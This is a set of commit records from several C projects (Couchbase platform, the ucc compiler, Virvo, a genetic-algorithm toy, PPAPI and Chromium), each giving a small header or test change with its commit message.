{"commit":"35c70ef4e01c901d577e27113b761138f0769a03","old_file":"src\/config.h","new_file":"src\/config.h","old_contents":"\/* -*- Mode: C; tab-width: 4; c-basic-offset: 4; indent-tabs-mode: nil -*- *\/\n#ifndef CONFIG_H\n#define CONFIG_H 1\n\n#ifdef WIN32\n#include <winsock2.h>\n#include <ws2tcpip.h>\n#include <windows.h>\n\n#else\n\n#if !defined(__cplusplus) && !defined(linux) && !defined(__GNUC__)\ntypedef unsigned long long uint64_t;\ntypedef long long int64_t;\n#endif\n\n#ifndef _POSIX_PTHREAD_SEMANTICS\n#define _POSIX_PTHREAD_SEMANTICS\n#endif\n\n#include <sys\/wait.h>\n#include <sys\/socket.h>\n#include <netinet\/in.h>\n#include <netdb.h>\n#include <unistd.h>\n#include <sys\/stat.h>\n#include <sys\/un.h>\n#include <sys\/resource.h>\n#include <sys\/uio.h>\n#include <netinet\/tcp.h>\n#include <arpa\/inet.h>\n#include <sys\/mman.h>\n#include <pwd.h>\n#include <sys\/time.h>\n#include <signal.h>\n\n#endif\n\n\/* Common section *\/\n#include <stdlib.h>\n#include <inttypes.h>\n#include <sys\/types.h>\n\n#include <platform\/platform.h>\n\n#endif\n","new_contents":"\/* -*- Mode: C; tab-width: 4; c-basic-offset: 4; indent-tabs-mode: nil -*- *\/\n#ifndef CONFIG_H\n#define CONFIG_H 1\n\n#ifdef WIN32\n#include <winsock2.h>\n#include <ws2tcpip.h>\n#include <windows.h>\n\n#else\n\n#if !defined(__cplusplus) && !defined(linux) && !defined(__GNUC__)\ntypedef unsigned long long uint64_t;\ntypedef long long int64_t;\n#endif\n\n#ifndef _POSIX_PTHREAD_SEMANTICS\n#define _POSIX_PTHREAD_SEMANTICS\n#endif\n\n#include <sys\/wait.h>\n#include <sys\/socket.h>\n#include <netinet\/in.h>\n#include <netdb.h>\n#include <unistd.h>\n#include <sys\/stat.h>\n#include <sys\/un.h>\n#include <sys\/resource.h>\n#include <sys\/uio.h>\n#include <netinet\/tcp.h>\n#include <arpa\/inet.h>\n#include <sys\/mman.h>\n#include <pwd.h>\n#include <sys\/time.h>\n#include <signal.h>\n#include <inttypes.h>\n\n#endif\n\n\/* Common section *\/\n#include <stdlib.h>\n#include <sys\/types.h>\n\n#include <platform\/platform.h>\n\n#endif\n","subject":"Fix build problem on W2008 in \/xp \/x86 \/release mode","message":"Fix build problem on W2008 in \/xp \/x86 \/release mode\n\nChange-Id: I1d51e4f9b1e0ae9f6df28a22bf13a5ab6bf55ab8\nReviewed-on: http:\/\/review.couchbase.org\/28476\nReviewed-by: Trond Norbye <60edd2ef23891a753f231b0c6f161dc634079a93@gmail.com>\nTested-by: Trond Norbye <60edd2ef23891a753f231b0c6f161dc634079a93@gmail.com>\n","lang":"C","license":"apache-2.0","repos":"vmx\/platform,trondn\/platform,vmx\/platform"}
{"commit":"d17361a30e052dcde451c02d97c8b37bd602e4e6","old_file":"test\/__attribute__\/weak\/weak_const.c","new_file":"test\/__attribute__\/weak\/weak_const.c","old_contents":"","new_contents":"\/\/ RUN: %check --only -e %s -Wno-incompatible-pointer-types '-DERROR(...)=__VA_ARGS__'\n\/\/ RUN: %ucc -fsyntax-only %s '-DERROR(...)=' -Wno-incompatible-pointer-types -Wno-arith-funcptr\n\nenum { false };\n\n__attribute((weak)) void w();\nvoid f();\n\nERROR(int shortcircuit_weak_1 = w && 1;) \/\/ CHECK: error: global scalar initialiser not constant\nERROR(int shortcircuit_weak_2 = w && 0;) \/\/ CHECK: error: global scalar initialiser not constant\nERROR(int shortcircuit_weak_3 = 1 && w;) \/\/ CHECK: error: global scalar initialiser not constant\n_Static_assert((0 && w) == false, \"\");\n\nERROR(int shortcircuit_weak_5 = w || 1;) \/\/ CHECK: error: global scalar initialiser not constant\nERROR(int shortcircuit_weak_6 = w || 0;) \/\/ CHECK: error: global scalar initialiser not constant\n_Static_assert(1 || w, \"\");\nERROR(int shortcircuit_weak_8 = 0 || w;) \/\/ CHECK: error: global scalar initialiser not constant\n\n_Static_assert(f && 1, \"\");\n_Static_assert((f && 0) == false, \"\");\n_Static_assert(1 && f, \"\");\n_Static_assert((0 && f) == false, \"\");\n\n_Static_assert(f || 1, \"\");\n_Static_assert(f || 0, \"\");\n_Static_assert(1 || f, \"\");\n_Static_assert(0 || f, \"\");\n\n\/\/ ---------\n\nvoid (*arith_fptr_1)() = f + 2; \/\/ CHECK: warning: arithmetic on function pointer 'void (*)()'\nvoid (*arith_fptr_2)() = w + 2; \/\/ CHECK: warning: arithmetic on function pointer 'void (*)()'\n\n_Static_assert(!&f == false, \"\");\nERROR(int arith_2 = !&w;) \/\/ CHECK: error: global scalar initialiser not constant\n_Static_assert(!f == false, \"\");\nERROR(int arith_4 = !w;) \/\/ CHECK: error: global scalar initialiser not constant\n_Static_assert((0 == f) == false, \"\");\nERROR(int arith_6 = 0 == w;) \/\/ CHECK: error: global scalar initialiser not constant\n_Static_assert(0 != f, \"\");\nERROR(int arith_8 = 0 != w;) \/\/ CHECK: error: global scalar initialiser not constant\n_Static_assert((f == w) == false, \"\");\n_Static_assert(f != w, \"\");\n_Static_assert((f - f) == false, \"\");\n_Static_assert((w - w) == false, \"\");\nERROR(int arith_13 = f - w;) \/\/ CHECK: error: global scalar initialiser not constant\nERROR(int arith_14 = w - f;) \/\/ CHECK: error: global scalar initialiser not constant\n","subject":"Test constant-folding of weak identifiers","message":"Test constant-folding of weak identifiers\n","lang":"C","license":"mit","repos":"bobrippling\/ucc-c-compiler,bobrippling\/ucc-c-compiler,bobrippling\/ucc-c-compiler"}
{"commit":"4e451a5b83acf9675b5d60320069d804a9b93141","old_file":"vox-desk-qt\/plugins\/servermon\/vvservermondialog.h","new_file":"vox-desk-qt\/plugins\/servermon\/vvservermondialog.h","old_contents":"\/\/ Virvo - Virtual Reality Volume Rendering\n\/\/ Copyright (C) 1999-2003 University of Stuttgart, 2004-2005 Brown University\n\/\/ Contact: Jurgen P. Schulze, jschulze@ucsd.edu\n\/\/\n\/\/ This file is part of Virvo.\n\/\/\n\/\/ Virvo is free software; you can redistribute it and\/or\n\/\/ modify it under the terms of the GNU Lesser General Public\n\/\/ License as published by the Free Software Foundation; either\n\/\/ version 2.1 of the License, or (at your option) any later version.\n\/\/\n\/\/ This library is distributed in the hope that it will be useful,\n\/\/ but WITHOUT ANY WARRANTY; without even the implied warranty of\n\/\/ MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU\n\/\/ Lesser General Public License for more details.\n\/\/\n\/\/ You should have received a copy of the GNU Lesser General Public\n\/\/ License along with this library (see license.txt); if not, write to the\n\/\/ Free Software Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA\n\n#ifndef VV_SERVERMONDIALOG_H\n#define VV_SERVERMONDIALOG_h\n\n#include <QDialog>\n\nclass Ui_ServerMonDialog;\n\nclass vvServerMonDialog : public QDialog\n{\n  Q_OBJECT\npublic:\n  vvServerMonDialog(QWidget* parent = 0);\n  ~vvServerMonDialog();\nprivate:\n  Ui_ServerMonDialog* ui;\n};\n\n#endif\n\n","new_contents":"\/\/ Virvo - Virtual Reality Volume Rendering\n\/\/ Copyright (C) 1999-2003 University of Stuttgart, 2004-2005 Brown University\n\/\/ Contact: Jurgen P. Schulze, jschulze@ucsd.edu\n\/\/\n\/\/ This file is part of Virvo.\n\/\/\n\/\/ Virvo is free software; you can redistribute it and\/or\n\/\/ modify it under the terms of the GNU Lesser General Public\n\/\/ License as published by the Free Software Foundation; either\n\/\/ version 2.1 of the License, or (at your option) any later version.\n\/\/\n\/\/ This library is distributed in the hope that it will be useful,\n\/\/ but WITHOUT ANY WARRANTY; without even the implied warranty of\n\/\/ MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU\n\/\/ Lesser General Public License for more details.\n\/\/\n\/\/ You should have received a copy of the GNU Lesser General Public\n\/\/ License along with this library (see license.txt); if not, write to the\n\/\/ Free Software Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA\n\n#ifndef VV_SERVERMONDIALOG_H\n#define VV_SERVERMONDIALOG_H\n\n#include <QDialog>\n\nclass Ui_ServerMonDialog;\n\nclass vvServerMonDialog : public QDialog\n{\n  Q_OBJECT\npublic:\n  vvServerMonDialog(QWidget* parent = 0);\n  ~vvServerMonDialog();\nprivate:\n  Ui_ServerMonDialog* ui;\n};\n\n#endif\n\n","subject":"Fix typo in header guard","message":"Fix typo in header guard\n","lang":"C","license":"lgpl-2.1","repos":"deskvox\/deskvox,deskvox\/deskvox,deskvox\/deskvox,deskvox\/deskvox,deskvox\/deskvox"}
{"commit":"46ea6e5afe0e40ea3cbfceb77bcca01fcdb8df6e","old_file":"src\/evolution.h","new_file":"src\/evolution.h","old_contents":"#ifndef EVOLUTION_H\n#define EVOLUTION_H\n\n#include \"fitness.h\"\n\n#define POPULATION_SIZE     50\n#define TOURNAMENT_SIZE     5\n\n\/\/ Evolution\nclass EVOLUTION\n{\npublic:\n  int crossover(int **newPop,\n                int **pop,\n                int index,\n                int tournament1,\n                int tournament2,\n                FITNESS Fitness);\n  int tournamentSelection(int **population, FITNESS Fitness);\n  int evolve(int **population, FITNESS Fitness);\n\n};\n\n#endif\n","new_contents":"#ifndef EVOLUTION_H\n#define EVOLUTION_H\n\n#include \"fitness.h\"\n#include \"population.h\"\n\n#define POPULATION_SIZE     50\n#define TOURNAMENT_SIZE     5\n\n\/\/ Evolution\nclass EVOLUTION\n{\npublic:\n  int crossover(int **newPop,\n                int **pop,\n                int index,\n                int tournament1,\n                int tournament2,\n                FITNESS Fitness);\n  int tournamentSelection(int **population, FITNESS Fitness);\n  int evolve(int **population, FITNESS Fitness);\n\n};\n\n#endif\n","subject":"Update include to header file 'population.h'","message":"Update include to header file 'population.h'\n","lang":"C","license":"mit","repos":"wkohlenberg\/simple_GA"}
{"commit":"c49e05ca04116a78b2a960f3a05dce6319582a8f","old_file":"c\/ppb_find.h","new_file":"c\/ppb_find.h","old_contents":"\/\/ Copyright (c) 2010 The Chromium Authors. All rights reserved.\n\/\/ Use of this source code is governed by a BSD-style license that can be\n\/\/ found in the LICENSE file.\n\n#ifndef PPAPI_C_PPB_FIND_H_\n#define PPAPI_C_PPB_FIND_H_\n\n#include \"ppapi\/c\/pp_instance.h\"\n#include \"ppapi\/c\/pp_stdint.h\"\n\n#define PPB_FIND_INTERFACE \"PPB_Find;1\"\n\ntypedef struct _ppb_Find {\n  \/\/ Updates the number of find results for the current search term.  If\n  \/\/ there are no matches 0 should be passed in.  Only when the plugin has\n  \/\/ finished searching should it pass in the final count with finalResult set\n  \/\/ to true.\n  void NumberOfFindResultsChanged(PP_Instance instance,\n                                  int32_t total,\n                                  bool final_result);\n\n  \/\/ Updates the index of the currently selected search item.\n  void SelectedFindResultChanged(PP_Instance instance,\n                                 int32_t index);\n\n} PPB_Find;\n\n#endif  \/\/ PPAPI_C_PPB_FIND_H_\n","new_contents":"\/\/ Copyright (c) 2010 The Chromium Authors. All rights reserved.\n\/\/ Use of this source code is governed by a BSD-style license that can be\n\/\/ found in the LICENSE file.\n\n#ifndef PPAPI_C_PPB_FIND_H_\n#define PPAPI_C_PPB_FIND_H_\n\n#include \"ppapi\/c\/pp_instance.h\"\n#include \"ppapi\/c\/pp_stdint.h\"\n\n#define PPB_FIND_INTERFACE \"PPB_Find;1\"\n\ntypedef struct _ppb_Find {\n  \/\/ Updates the number of find results for the current search term.  If\n  \/\/ there are no matches 0 should be passed in.  Only when the plugin has\n  \/\/ finished searching should it pass in the final count with finalResult set\n  \/\/ to true.\n  void (*NumberOfFindResultsChanged)(PP_Instance instance,\n                                     int32_t total,\n                                     bool final_result);\n\n  \/\/ Updates the index of the currently selected search item.\n  void (*SelectedFindResultChanged)(PP_Instance instance,\n                                    int32_t index);\n\n} PPB_Find;\n\n#endif  \/\/ PPAPI_C_PPB_FIND_H_\n","subject":"Structure member should be function pointer","message":"Structure member should be function pointer\n\nBUG=none\nTEST=compiles\n\nReview URL: http:\/\/codereview.chromium.org\/2972004","lang":"C","license":"bsd-3-clause","repos":"tiaolong\/ppapi,lag945\/ppapi,nanox\/ppapi,CharlesHuimin\/ppapi,c1soju96\/ppapi,qwop\/ppapi,nanox\/ppapi,siweilvxing\/ppapi,siweilvxing\/ppapi,xinghaizhou\/ppapi,xiaozihui\/ppapi,whitewolfm\/ppapi,dingdayong\/ppapi,xinghaizhou\/ppapi,ruder\/ppapi,fubaydullaev\/ppapi,xuesongzhu\/ppapi,xinghaizhou\/ppapi,rise-worlds\/ppapi,cacpssl\/ppapi,thdtjsdn\/ppapi,xiaozihui\/ppapi,phisixersai\/ppapi,chenfeng8742\/ppapi,JustRight\/ppapi,lag945\/ppapi,xinghaizhou\/ppapi,c1soju96\/ppapi,HAfsari\/ppapi,siweilvxing\/ppapi,tonyjoule\/ppapi,gwobay\/ppapi,huochetou999\/ppapi,stefanie924\/ppapi,huochetou999\/ppapi,YachaoLiu\/ppapi,lag945\/ppapi,ruder\/ppapi,xiaozihui\/ppapi,Xelemsta\/ppapi,huochetou999\/ppapi,cacpssl\/ppapi,YachaoLiu\/ppapi,thdtjsdn\/ppapi,huqingyu\/ppapi,dralves\/ppapi,dingdayong\/ppapi,nanox\/ppapi,HAfsari\/ppapi,fubaydullaev\/ppapi,phisixersai\/ppapi,xuesongzhu\/ppapi,gwobay\/ppapi,JustRight\/ppapi,siweilvxing\/ppapi,chenfeng8742\/ppapi,fubaydullaev\/ppapi,YachaoLiu\/ppapi,lag945\/ppapi,tonyjoule\/ppapi,huqingyu\/ppapi,huqingyu\/ppapi,fubaydullaev\/ppapi,qwop\/ppapi,chenfeng8742\/ppapi,Xelemsta\/ppapi,cacpssl\/ppapi,dingdayong\/ppapi,rise-worlds\/ppapi,gwobay\/ppapi,dralves\/ppapi,thdtjsdn\/ppapi,tonyjoule\/ppapi,ruder\/ppapi,CharlesHuimin\/ppapi,YachaoLiu\/ppapi,tonyjoule\/ppapi,CharlesHuimin\/ppapi,JustRight\/ppapi,dingdayong\/ppapi,CharlesHuimin\/ppapi,tiaolong\/ppapi,c1soju96\/ppapi,gwobay\/ppapi,JustRight\/ppapi,tonyjoule\/ppapi,chenfeng8742\/ppapi,xiaozihui\/ppapi,rise-worlds\/ppapi,xinghaizhou\/ppapi,qwop\/ppapi,whitewolfm\/ppapi,CharlesHuimin\/ppapi,phisixersai\/ppapi,fubaydullaev\/ppapi,tiaolong\/ppapi,qwop\/ppapi,xuesongzhu\/ppapi,YachaoLiu\/ppapi,thdtjsdn\/ppapi,huochetou999\/ppapi,lag945\/ppapi,phisixersai\/ppapi,HAfsari\/ppapi,siweilvxing\/ppapi,xuesongzhu\/ppapi,dralves\/ppapi,stefanie924\/ppapi,tiaolong\/ppapi,rise-worlds\/ppapi,JustRight\/ppapi,Xelemsta\/ppapi,nanox\/ppapi,phisixersai\/ppapi,whitewolfm\/ppapi,nanox\/ppapi,dralves\/ppapi,HAfsari\/ppapi,qwop\/ppapi,HAfsari\/ppapi,gwobay\/ppapi,stefanie924\/ppapi,huochetou999\/ppapi,chenfeng8742\/ppapi,Xelemsta\/ppapi,xuesongzhu\/ppapi,cacpssl\/ppapi,whitewolfm\/ppapi,Xelemsta\/ppapi,huqingyu\/ppapi,huqingyu\/ppapi,ruder\/ppapi,ruder\/ppapi,rise-worlds\/ppapi,tiaolong\/ppapi,whitewolfm\/ppapi,dingdayong\/ppapi,c1soju96\/ppapi,c1soju96\/ppapi,stefanie924\/ppapi,thdtjsdn\/ppapi,xiaozihui\/ppapi,cacpssl\/ppapi,stefanie924\/ppapi,dralves\/ppapi"}
{"commit":"bf0aa27340c2364aa4be3549e870c71ce0846d7a","old_file":"ui\/message_center\/base_format_view.h","new_file":"ui\/message_center\/base_format_view.h","old_contents":"\/\/ Copyright (c) 2012 The Chromium Authors. All rights reserved.\n\/\/ Use of this source code is governed by a BSD-style license that can be\n\/\/ found in the LICENSE file.\n\n#ifndef UI_MESSAGE_CENTER_BASE_FORMAT_VIEW_H_\n#define UI_MESSAGE_CENTER_BASE_FORMAT_VIEW_H_\n\n#include \"ui\/message_center\/message_view.h\"\n#include \"ui\/message_center\/notification_list.h\"\n\nnamespace views {\nclass ImageView;\n}\n\nnamespace message_center {\n\n\/\/ A comprehensive message view.\nclass BaseFormatView : public MessageView {\n public:\n  BaseFormatView(NotificationList::Delegate* list_delegate,\n                 const NotificationList::Notification& notification);\n  virtual ~BaseFormatView();\n\n  \/\/ MessageView\n  virtual void SetUpView() OVERRIDE;\n\n  \/\/ views::ButtonListener\n  virtual void ButtonPressed(views::Button* sender,\n                             const ui::Event& event) OVERRIDE;\n\n protected:\n  BaseFormatView();\n\n  DISALLOW_COPY_AND_ASSIGN(BaseFormatView);\n};\n\n}  \/\/ namespace message_center\n\n#endif \/\/ UI_MESSAGE_CENTER_BASE_FORMAT_VIEW_H_\n","new_contents":"\/\/ Copyright (c) 2012 The Chromium Authors. All rights reserved.\n\/\/ Use of this source code is governed by a BSD-style license that can be\n\/\/ found in the LICENSE file.\n\n#ifndef UI_MESSAGE_CENTER_BASE_FORMAT_VIEW_H_\n#define UI_MESSAGE_CENTER_BASE_FORMAT_VIEW_H_\n\n#include \"ui\/message_center\/message_view.h\"\n#include \"ui\/message_center\/notification_list.h\"\n\nnamespace views {\nclass ImageView;\n}\n\nnamespace message_center {\n\n\/\/ A comprehensive message view.\nclass BaseFormatView : public MessageView {\n public:\n  BaseFormatView(NotificationList::Delegate* list_delegate,\n                 const NotificationList::Notification& notification);\n  virtual ~BaseFormatView();\n\n  \/\/ MessageView\n  virtual void SetUpView() OVERRIDE;\n\n  \/\/ views::ButtonListener\n  virtual void ButtonPressed(views::Button* sender, const ui::Event& event);\n\n protected:\n  BaseFormatView();\n\n  DISALLOW_COPY_AND_ASSIGN(BaseFormatView);\n};\n\n}  \/\/ namespace message_center\n\n#endif \/\/ UI_MESSAGE_CENTER_BASE_FORMAT_VIEW_H_\n","subject":"Revert 167593 - Add an OVERRIDE keyword This change adds an OVERRIDE keyword to the BaseFormatView::ButtonPressed function to fix a build break on the \"Linux ChromiumOS (Clang dbg)\" bot.","message":"Revert 167593 - Add an OVERRIDE keyword\nThis change adds an OVERRIDE keyword to the BaseFormatView::ButtonPressed function to fix a build break on the \"Linux ChromiumOS (Clang dbg)\" bot.\n\nThe CL this tries to fix is broken. Reverting the fix, so I can revert the CL\n\nTBR=miket\nBUG=none\nTEST=fix builds on the \"Linux ChromiumOS (Clang dbg)\" bot and the \"Linux Chromium OS ASAN Builder\" bot.\nReview URL: https:\/\/codereview.chromium.org\/11410077\n\nTBR=hbono@chromium.org\nReview URL: https:\/\/codereview.chromium.org\/11363241\n\ngit-svn-id: de016e52bd170d2d4f2344f9bf92d50478b649e0@167660 0039d316-1c4b-4281-b951-d872f2087c98\n","lang":"C","license":"bsd-3-clause","repos":"anirudhSK\/chromium,fujunwei\/chromium-crosswalk,Chilledheart\/chromium,dednal\/chromium.src,anirudhSK\/chromium,Just-D\/chromium-1,Just-D\/chromium-1,PeterWangIntel\/chromium-crosswalk,timopulkkinen\/BubbleFish,dednal\/chromium.src,hujiajie\/pa-chromium,axinging\/chromium-crosswalk,TheTypoMaster\/chromium-crosswalk,dushu1203\/chromium.src,zcbenz\/cefode-chromium,nacl-webkit\/chrome_deps,Jonekee\/chromium.src,Chilledheart\/chromium,ChromiumWebApps\/chromium,ondra-novak\/chromium.src,dednal\/chromium.src,ChromiumWebApps\/chromium,jaruba\/chromium.src,patrickm\/chromium.src,markYoungH\/chromium.src,jaruba\/chromium.src,patrickm\/chromium.src,pozdnyakov\/chromium-crosswalk,zcbenz\/cefode-chromium,krieger-od\/nwjs_chromium.src,ondra-novak\/chromium.src,Pluto-tv\/chromium-crosswalk,nacl-webkit\/chrome_deps,PeterWangIntel\/chromium-crosswalk,M4sse\/chromium.src,patrickm\/chromium.src,pozdnyakov\/chromium-crosswalk,bright-sparks\/chromium-spacewalk,hgl888\/chromium-crosswalk-efl,hgl888\/chromium-crosswalk,nacl-webkit\/chrome_deps,Fireblend\/chromium-crosswalk,M4sse\/chromium.src,hujiajie\/pa-chromium,M4sse\/chromium.src,fujunwei\/chromium-crosswalk,bright-sparks\/chromium-spacewalk,krieger-od\/nwjs_chromium.src,chuan9\/chromium-crosswalk,Pluto-tv\/chromium-crosswalk,timopulkkinen\/BubbleFish,krieger-od\/nwjs_chromium.src,mogoweb\/chromium-crosswalk,anirudhSK\/chromium,PeterWangIntel\/chromium-crosswalk,chuan9\/chromium-crosswalk,markYoungH\/chromium.src,timopulkkinen\/BubbleFish,pozdnyakov\/chromium-crosswalk,ltilve\/chromium,M4sse\/chromium.src,crosswalk-project\/chromium-crosswalk-efl,hgl888\/chromium-crosswalk-efl,Fireblend\/chromium-crosswalk,ChromiumWebApps\/chromium,pozdnyakov\/chromium-crosswalk,timopulkkinen\/BubbleFish,hgl888\/chromium-crosswalk-efl,nacl-webkit\/chrome_deps,timopulkkinen\/BubbleFish,zcbenz\/cefode-chromium,dushu1203\/chromium.src,markYoungH\/chromium.src,Pluto-tv\/chromium-crosswalk,ltilve\/chromium,crosswalk-project\/chromium-crosswalk-efl,crosswalk-project\/chromium-crosswalk-efl,dednal\/chromium.src,littlstar\/chromium.src,anirudhSK\/chromium,axinging\/chromium-crosswalk,patrickm\/chromium.src,Pluto-tv\/chromium-crosswalk,Just-D\/chromium-1,patrickm\/chromium.src,axinging\/chromium-crosswalk,fujunwei\/chromium-crosswalk,axinging\/chromium-crosswalk,M4sse\/chromium.src,crosswalk-project\/chromium-crosswalk-efl,axinging\/chromium-crosswalk,fujunwei\/chromium-crosswalk,bright-sparks\/chromium-spacewalk,ondra-novak\/chromium.src,PeterWangIntel\/chromium-crosswalk,mogoweb\/chromium-crosswalk,hgl888\/chromium-crosswalk,Just-D\/chromium-1,dednal\/chromium.src,Fireblend\/chromium-crosswalk,TheTypoMaster\/chromium-crosswalk,crosswalk-project\/chromium-crosswalk-efl,ChromiumWebApps\/chromium,nacl-webkit\/chrome_deps,zcbenz\/cefode-chromium,ChromiumWebApps\/chromium,nacl-webkit\/chrome_deps,hgl888\/chromium-crosswalk-efl,ltilve\/chromium,dednal\/chromium.src,Fireblend\/chromium-crosswalk,ondra-novak\/chromium.src,littlstar\/chromium.src,hujiajie\/pa-chromium,bright-sparks\/chromium-spacewalk,nacl-webkit\/chrome_deps,Jonekee\/chromium.src,jaruba\/chromium.src,Fireblend\/chromium-crosswalk,hgl888\/chromium-crosswalk-efl,mohamed--abdel-maksoud\/chromium.src,mohamed--abdel-maksoud\/chromium.src,anirudhSK\/chromium,mohamed--abdel-maksoud\/chromium.src,ondra-novak\/chromium.src,crosswalk-project\/chromium-crosswalk-efl,zcbenz\/cefode-chromium,ltilve\/chromium,zcbenz\/cefode-chromium,mogoweb\/chromium-crosswalk,hgl888\/chromium-crosswalk-efl,chuan9\/chromium-crosswalk,jaruba\/chromium.src,Chilledheart\/chromium,hgl888\/chromium-crosswalk,Pluto-tv\/chromium-crosswalk,zcbenz\/cefode-chromium,hujiajie\/pa-chromium,ChromiumWebApps\/chromium,bright-sparks\/chromium-spacewalk,hujiajie\/pa-chromium,jaruba\/chromium.src,krieger-od\/nwjs_chromium.src,Chilledheart\/chromium,fujunwei\/chromium-crosswalk,mogoweb\/chromium-crosswalk,pozdnyakov\/chromium-crosswalk,fujunwei\/chromium-crosswalk,dushu1203\/chromium.src,jaruba\/chromium.src,hujiajie\/pa-chromium,hgl888\/chromium-crosswalk,dednal\/chromium.src,markYoungH\/chromium.src,mogoweb\/chromium-crosswalk,axinging\/chromium-crosswalk,ChromiumWebApps\/chromium,dushu1203\/chromium.src,jaruba\/chromium.src,markYoungH\/chromium.src,dushu1203\/chromium.src,crosswalk-project\/chromium-crosswalk-efl,bright-sparks\/chromium-spacewalk,dushu1203\/chromium.src,markYoungH\/chromium.src,dushu1203\/chromium.src,mohamed--abdel-maksoud\/chromium.src,TheTypoMaster\/chromium-crosswalk,timopulkkinen\/BubbleFish,M4sse\/chromium.src,ChromiumWebApps\/chromium,hgl888\/chromium-crosswalk-efl,hgl888\/chromium-crosswalk,Jonekee\/chromium.src,anirudhSK\/chromium,patrickm\/chromium.src,PeterWangIntel\/chromium-crosswalk,Just-D\/chromium-1,hgl888\/chromium-crosswalk-efl,hgl888\/chromium-crosswalk,mohamed--abdel-maksoud\/chromium.src,crosswalk-project\/chromium-crosswalk-efl,zcbenz\/cefode-chromium,bright-sparks\/chromium-spacewalk,timopulkkinen\/BubbleFish,Chilledheart\/chromium,nacl-webkit\/chrome_deps,ondra-novak\/chromium.src,M4sse\/chromium.src,Jonekee\/chromium.src,jaruba\/chromium.src,Pluto-tv\/chromium-crosswalk,chuan9\/chromium-crosswalk,mohamed--abdel-maksoud\/chromium.src,patrickm\/chromium.src,jaruba\/chromium.src,Jonekee\/chromium.src,dushu1203\/chromium.src,hujiajie\/pa-chromium,ltilve\/chromium,ChromiumWebApps\/chromium,ltilve\/chromium,mohamed--abdel-maksoud\/chromium.src,hgl888\/chromium-crosswalk-efl,PeterWangIntel\/chromium-crosswalk,axinging\/chromium-crosswalk,mohamed--abdel-maksoud\/chromium.src,Chilledheart\/chromium,mohamed--abdel-maksoud\/chromium.src,axinging\/chromium-crosswalk,hgl888\/chromium-crosswalk,littlstar\/chromium.src,krieger-od\/nwjs_chromium.src,M4sse\/chromium.src,zcbenz\/cefode-chromium,dednal\/chromium.src,zcbenz\/cefode-chromium,Just-D\/chromium-1,littlstar\/chromium.src,Jonekee\/chromium.src,ChromiumWebApps\/chromium,littlstar\/chromium.src,littlstar\/chromium.src,hujiajie\/pa-chromium,anirudhSK\/chromium,Pluto-tv\/chromium-crosswalk,chuan9\/chromium-crosswalk,ondra-novak\/chromium.src,nacl-webkit\/chrome_deps,ChromiumWebApps\/chromium,pozdnyakov\/chromium-crosswalk,timopulkkinen\/BubbleFish,hujiajie\/pa-chromium,pozdnyakov\/chromium-crosswalk,dednal\/chromium.src,nacl-webkit\/chrome_deps,pozdnyakov\/chromium-crosswalk,ltilve\/chromium,jaruba\/chromium.src,Fireblend\/chromium-crosswalk,krieger-od\/nwjs_chromium.src,TheTypoMaster\/chromium-crosswalk,dednal\/chromium.src,patrickm\/chromium.src,littlstar\/chromium.src,ltilve\/chromium,krieger-od\/nwjs_chromium.src,Chilledheart\/chromium,bright-sparks\/chromium-spacewalk,Just-D\/chromium-1,anirudhSK\/chromium,mogoweb\/chromium-crosswalk,chuan9\/chromium-crosswalk,anirudhSK\/chromium,Just-D\/chromium-1,PeterWangIntel\/chromium-crosswalk,mogoweb\/chromium-crosswalk,anirudhSK\/chromium,littlstar\/chromium.src,dushu1203\/chromium.src,patrickm\/chromium.src,Jonekee\/chromium.src,hgl888\/chromium-crosswalk-efl,krieger-od\/nwjs_chromium.src,axinging\/chromium-crosswalk,anirudhSK\/chromium,dednal\/chromium.src,nacl-webkit\/chrome_deps,markYoungH\/chromium.src,mogoweb\/chromium-crosswalk,pozdnyakov\/chromium-crosswalk,timopulkkinen\/BubbleFish,crosswalk-project\/chromium-crosswalk-efl,Jonekee\/chromium.src,pozdnyakov\/chromium-crosswalk,fujunwei\/chromium-crosswalk,krieger-od\/nwjs_chromium.src,M4sse\/chromium.src,Fireblend\/chromium-crosswalk,markYoungH\/chromium.src,chuan9\/chromium-crosswalk,ChromiumWebApps\/chromium,Chilledheart\/chromium,mogoweb\/chromium-crosswalk,markYoungH\/chromium.src,zcbenz\/cefode-chromium,Jonekee\/chromium.src,TheTypoMaster\/chromium-crosswalk,markYoungH\/chromium.src,Chilledheart\/chromium,timopulkkinen\/BubbleFish,TheTypoMaster\/chromium-crosswalk,bright-sparks\/chromium-spacewalk,pozdnyakov\/chromium-crosswalk,axinging\/chromium-crosswalk,mogoweb\/chromium-crosswalk,chuan9\/chromium-crosswalk,Jonekee\/chromium.src,TheTypoMaster\/chromium-crosswalk,Just-D\/chromium-1,timopulkkinen\/BubbleFish,Pluto-tv\/chromium-crosswalk,chuan9\/chromium-crosswalk,jaruba\/chromium.src,PeterWangIntel\/chromium-crosswalk,Fireblend\/chromium-crosswalk,mohamed--abdel-maksoud\/chromium.src,axinging\/chromium-crosswalk,mohamed--abdel-maksoud\/chromium.src,TheTypoMaster\/chromium-crosswalk,ondra-novak\/chromium.src,ltilve\/chromium,Fireblend\/chromium-crosswalk,dushu1203\/chromium.src,markYoungH\/chromium.src,Jonekee\/chromium.src,hgl888\/chromium-crosswalk,Pluto-tv\/chromium-crosswalk,hgl888\/chromium-crosswalk,dushu1203\/chromium.src,M4sse\/chromium.src,anirudhSK\/chromium,hujiajie\/pa-chromium,M4sse\/chromium.src,fujunwei\/chromium-crosswalk,TheTypoMaster\/chromium-crosswalk,PeterWangIntel\/chromium-crosswalk,krieger-od\/nwjs_chromium.src,fujunwei\/chromium-crosswalk,ondra-novak\/chromium.src,krieger-od\/nwjs_chromium.src,hujiajie\/pa-chromium"}
